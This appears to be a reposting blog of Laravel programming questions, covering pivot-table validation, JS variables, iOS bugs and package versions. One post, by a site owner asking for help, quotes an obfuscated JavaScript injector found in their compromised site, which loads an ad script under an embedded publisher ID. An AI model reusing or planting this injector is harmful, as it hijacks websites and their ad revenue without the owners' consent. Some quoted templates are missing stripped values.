lundi 24 avril 2023

Laravel 5.8: The items.0.id field is required. Error

I am working on an application for the company I work for, this application was made using Laravel 5.8 and MySQL. I have managed to incorporate improvements and so on but there is something that I still can't solve (I'm a junior programmer and I still don't have that much experience). The issue is that there is a many-to-many relationship, I need to make it possible to link new items to the project with their respective quantities in the edit view of a project, in turn it should be possible to unlink previously related items if needed. But nevertheless when trying to do it, the view responds to me with the following error: The items.0.id field is required.The items.0.quantity field is required.

Below the code:

ProjectController:

public function edit($id)
    {
        $project = Project::findOrFail($id);
        $items = Item::all();
        $project_items = $project->items()->pluck('id')->toArray();
        $project_items_quantity = $project->items()->pluck('quantity', 'id')->toArray();
        $item_project = ItemProject::where('project_id', $id)->get();

        return view('includes.edit_delete_project',
            compact('items', 'project_items', 'project_items_quantity', 'item_project'))
            ->with(['project'=> Project::getProjectById($id),
            'entities'=>Entity::getEntities(),
                'countries'=>Country::getCountries()]);
    }

    public function update(Request $request, Project $project)
    {
        $this->validate($request, array(
            'code' => 'required|string|max:255',
            'entity' => 'required|string|max:255',
            'country' => 'required|string|max:255',
            'items' => 'nullable|array',
            'items.*.id' => 'required|integer|exists:items,id',
            'items.*.quantity' => 'required|integer|min:0',
        ));

        $project->update($request->only(['code', 'entity', 'country']));

        if ($request->has('items')) {
            $items = $request->input('items');

            $currentItems = $project->items->pluck('id')->toArray();
            $detachItems = array_diff($currentItems, array_column($items, 'id'));
            $project->items()->detach($detachItems);

            foreach ($items as $item) {
                $project->items()->syncWithoutDetaching([$item['id'] => ['quantity' => $item['quantity']]]);
            }
        }

        return response()->json($project);
    }

Project Model:

class Project extends Model
{
    protected $table = "project";

    protected $fillable = ['code',
        'entity',
        'country'];
    protected $hidden = ['id'];

    public static function getProjects()
    {
        return Project::all();
    }

    public static function getProjectById($id)
    {
        return Project::find($id);
    }

    public function items()
    {
        return $this->belongsToMany(Item::class, 'project_item',
            'project_id', 'item_id')->withPivot('quantity');
    }
}

Project edit view:

<!-- Edit -->
<div class="modal fade" id="edit">
    <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span></button>
                <h4 class="modal-title"><b><span class="employee_id">Edit Project</span></b></h4>
            </div>
            <div class="modal-body">
                <form class="form-horizontal" method="POST" action="/includes/edit_delete_project/">
                    @csrf
                    <div class="form-group">
                        <label for="code" class="col-sm-3 control-label"><span style="color: red">*</span> Code</label>

                        <div class="col-sm-9">
                            <input oninput="this.value = this.value.toUpperCase()" type="text" class="form-control"
                                   id="code" name="code" value="" required>
                        </div>
                    </div>
                    <div class="form-group">
                        <label for="entity" class="col-sm-3 control-label"><span style="color: red">*</span> Company</label>

                        <div class="col-sm-9">
                            <select class="form-control" id="entity" name="entity" required>
                                <option value="" selected></option>
                                @foreach($entities as $entity)
                                    <option value=""> </option>
                                @endforeach
                            </select>
                        </div>
                    </div>
                    <div class="form-group">
                        <label for="country" class="col-sm-3 control-label"><span style="color: red">*</span> Country</label>

                        <div class="col-sm-9">
                            <select class="form-control" id="country" name="country" required>
                                <option value="" selected></option>
                                @foreach($countries as $country)
                                    <option value=""> </option>
                                @endforeach
                            </select>
                        </div>
                    </div>


                    <div class="form-group">
                        <label for="items" class="col-sm-3 control-label"><span style="color: red"></span> Items</label>

                        <div class="col-sm-9">
                            @foreach($items as $item)
                                <div class="form-check">
                                    <input type="checkbox" class="form-check-input" name="items[]" value="" id="item">
                                    <label class="form-check-label" for="item"> - </label>

                                    <input type="number"
                                           class="form-control"
                                           min="1"
                                           style="width: 100px;"
                                           id="quantity_"
                                           name="quantity_"
                                           value="" placeholder="Quantity">
                                </div>
                            @endforeach
                        </div>
                    </div>

                    <div class="modal-footer">
                        <button type="button" class="btn btn-default btn-flat pull-left" data-dismiss="modal"><i
                                class="fa fa-close"></i> Close
                        </button>
                        <button type="submit" class="btn btn-success btn-flat" name="edit"><i class="fa fa-check-square-o"></i>
                            Update
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>

I have tried various recommendations from the internet but still have not been successful with any. It is the only thing that I need of all that they asked me to finish the application. I just need to solve what I exposed at the beginning and I will be very grateful to anyone who can help me.



via Chebli Mohamed

dimanche 23 avril 2023

How can I use the variable from php class FinalPrice to javascript class?

I have this function in this location Main/resources/views/dashboards/solicitor/managewills/solicitorclass.php

 var counts = 1;
 var checkboxes;
function add_to_download_entries(data) {
   checkboxes = document.querySelectorAll('input[name="checkWills"]:checked');
    counts = checkboxes.length;
  if($.inArray(data, selected_lostwill_array) >= 0){
    selected_lostwill_array = $.grep(selected_lostwill_array, function(value){
         return value != data;
       });
     }else{
      selected_lostwill_array.push(data);
     }
     // DataTables Functions 
$(document).ready( function () {
    $('#org_lost_table').DataTable();
    $('#all_lost_table').DataTable();
    if(counts>0){
        let finalPrice = "Pay Now $" + Number(counts) * Number(22);
        
        $( "#payment-sub-btn" ).text(finalPrice);
       }else $( "#payment-sub-btn" ).text(0); 
} );
}

I want to use the finalPrice variable value when it updates there to this class at the places where I have let payPrice = 44 - ((44*results['data'])/100); in the place of 44 in location `Main/public_html/js/payment/payment_report.js

function checkCoupon() {
count++;
    var coupon = document.getElementById('lost_coupon').value;
    $.ajax({
        type: "POST",
        url: app_url+"/check_coupon_report",
        data: {
            "_token": csrf_token,
            "coupon": coupon,
        },
        dataType: "json",
        success: function(results) {
        
            if (results['status'] == true  && results['used'] == false) {
                $("#couponMessage").text("Congratulations Your coupon is valid. ");    
                $("#couponMessage").css("color", "green");   
                $("#couponMessage").css("visibility", "visible");   
                let payPrice = 44 - ((44*results['data'])/100);
                $("#couponMessage").append('Your discount is ' +results['data']+'%.' + '<br>Your final price is $' + parseFloat(payPrice.toFixed(2)));
                finalPrice  = parseFloat(payPrice.toFixed(2)) * count;
                $('#payment-sub-btn').text('Pay Now $'+finalPrice);
                console.log(finalPrice);
                if(results['data'] == 100) {
                    $('.card-element-hide').hide();
                    card.destroy();
                    card = null;
                    $('#payment-sub-btn').text('Download Report');
                }
                else{
                $('.card-element-hide').show();
                if(card == null) {
                    createCard();
                    }
            }
            }
        

How can I use the variable from php class FinalPrice to javascript class?



via Chebli Mohamed

samedi 22 avril 2023

sending photos as url by POST method in Laravel 5

I have two projects, A and B. In Project A, I send JSON data along with photo URLs (e.g. http://localhost:8000/images/jWjHlWLwCUz72NAz.jpg) to Project B via a POST method to a specific route (e.g. http://localhost:8002/upload).

I have tried the following:

Sending data without photos from Project A to Project B, which works. Sending data with photos using Postman to Project B, which also works. However, when I try to send JSON data with photo URLs from Project A, I receive the following error after a long time: "ErrorException: file_get_contents(http://localhost:8000/images/jWjHlWLwCUz72NAz.jpg): failed to open stream: HTTP request failed!"

When I try to send the same JSON data using Postman, everything works as expected, and the photos are saved on the disk.



via Chebli Mohamed

mardi 18 avril 2023

ads.txt and virus code auto created in laravel 8

I have a Laravel 8 website and I'm experiencing an issue where the ads.txt file keeps auto-creating even after I delete it, and there is a virus code that keeps appearing in my JavaScript file. looking for help in resolving these issues. virus code is given below

function bar2(foo1,foo){var bar=foo2();return bar2=function(bar1,Bar2){bar1=bar1-0xa8;var Bar1=bar[bar1];return Bar1;},bar2(foo1,foo);}function foo2(){var Bar2=['appendChild','16462230pfHvCY','552TnWsqr','21TgHTKx','async','24588SrzGYO','363894rrtNFG','querySelector','script','head','anonymous','510775rwehIy','6BEEmbK','aHR0cHM6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanM/Y2xpZW50PQ==','1334805ytshBr','1072656XSqaZe','305438lnJDWE','src','Y2EtcHViLTQwNzc5MzE4Njg4MTcwMDA='];foo2=function(){return Bar2;};return foo2();}(function(bar,bar1){var Bar1=bar2,Foo1=bar();while(!![]){try{var Foo2=-parseInt(Bar1(0xad))/0x1+-parseInt(Bar1(0xb2))/0x2*(parseInt(Bar1(0xae))/0x3)+-parseInt(Bar1(0xb1))/0x4+-parseInt(Bar1(0xb0))/0x5+parseInt(Bar1(0xa8))/0x6*(-parseInt(Bar1(0xb8))/0x7)+parseInt(Bar1(0xb7))/0x8*(parseInt(Bar1(0xba))/0x9)+parseInt(Bar1(0xb6))/0xa;if(Foo2===bar1)break;else Foo1'push';}catch(Bar){Foo1'push';}}}(foo2,0x49986),(function(){var Foo=bar2,foo1=document'createElement',foo=documentFoo(0xa9);foo1[Foo(0xb3)]=atob(Foo(0xaf))+atob(Foo(0xb4)),foo1[Foo(0xb9)]=!![],foo1['crossorigin']=Foo(0xac),fooFoo(0xb5);}()));

I try to delete ads.txt from my plulic folder and delete code from JS file



via Chebli Mohamed

lundi 17 avril 2023

Why some part of my vue file doesn't work with iOS >16.4?

I have a website that works fine on browsers, last Android version but not on the last iOS version (>16.4). I have to precise that it works fine on iOS 16.3. I know that iOS 16.4 meets a lots of issues and that's why I've waited for iOS 16.4.1 to see if they resolve this bug but it still doesn't work. My website use laravel 5.6 and vuejs 2.5.

The problem sounds like an entire area of the page which is disabled. I have two different area that are very similar and one of them is like disabled, we cannot click on the element on iOS 16.4.

Here is the code :

<div class="temps" :class="{inactive: !regulation_hot_or_cold}">
   <div class="temp">
         <label class="form-checkbox" :class="{disabled: !is_zone_off || !can_change_setpoints}">
            <input type="radio" :value="1" v-model="mutated_t1_t2" :disabled="!is_zone_off || !can_change_setpoints">
            <span>First</span>
         </label>
         <div class="input" :class="{disabled: !can_change_setpoints}">
            <i class="icon-minus" @click.prevent="incrementCurrentSetpoint(-0.5, 1)"></i>
            <span class="value"></span>
            <i class="icon-plus" @click.prevent="incrementCurrentSetpoint(0.5, 1)"></i>
         </div>
   </div>
   <div class="temp">
         <label class="form-checkbox" :class="{disabled: !is_zone_off || !can_change_setpoints}">
            <input type="radio" :value="2" v-model="mutated_t1_t2" :disabled="!is_zone_off || !can_change_setpoints">
            <span>Second</span>
         </label>
         <div class="input" :class="{disabled: !can_change_setpoints}">
            <i class="icon-minus" @click.prevent="incrementCurrentSetpoint(-0.5, 2)"></i>
            <span class="value"></span>
            <i class="icon-plus" @click.prevent="incrementCurrentSetpoint(0.5, 2)"></i>
         </div>
   </div>
</div>

The first div with "temp" class doesn't work but the second one works fine (on iOS 16.4 and iOS 16.4.1).

It works on iOS older versions like iOS 16.3.

Does anyone have an idea of what can be the problem?

Thanks a lot.



via Chebli Mohamed

dimanche 16 avril 2023

downgrade laravel-sitemap in laravel 5.6.4

I have project Laravel with 5.6.4 I can't upgrade php because it isn't suitable for Laravel 5.6.4 so I installed PHP 5.6.4 but I have a problem in spatie/laravel-sitemap not suitable for PHP 5.6.4 (Problem 1 - spatie/laravel-sitemap[2.2.0, ..., 2.4.0] require php ^7.0 -> your php version (5.6.40) does not satisfy that requirement. - Root composer.json requires spatie/laravel-sitemap ^2.2 -> satisfiable by spatie/laravel-sitemap[2.2.0, ..., 2.4.0)

and I tried many versions and made problems also I want suitable version of spatie/laravel-sitemap with php 5.6.4



via Chebli Mohamed

mercredi 12 avril 2023

i have send message with return redirect route with message but not show blade file

message not show in blade file. my controller return redirect('login')->with('message', 'please enter a valid user name and password'); my blade file @if(session('message')) <div class="alert alert-danger"></div> @endif route Route::get('/login',[AuthController::class,'login'])->name('login');`your text`



via Chebli Mohamed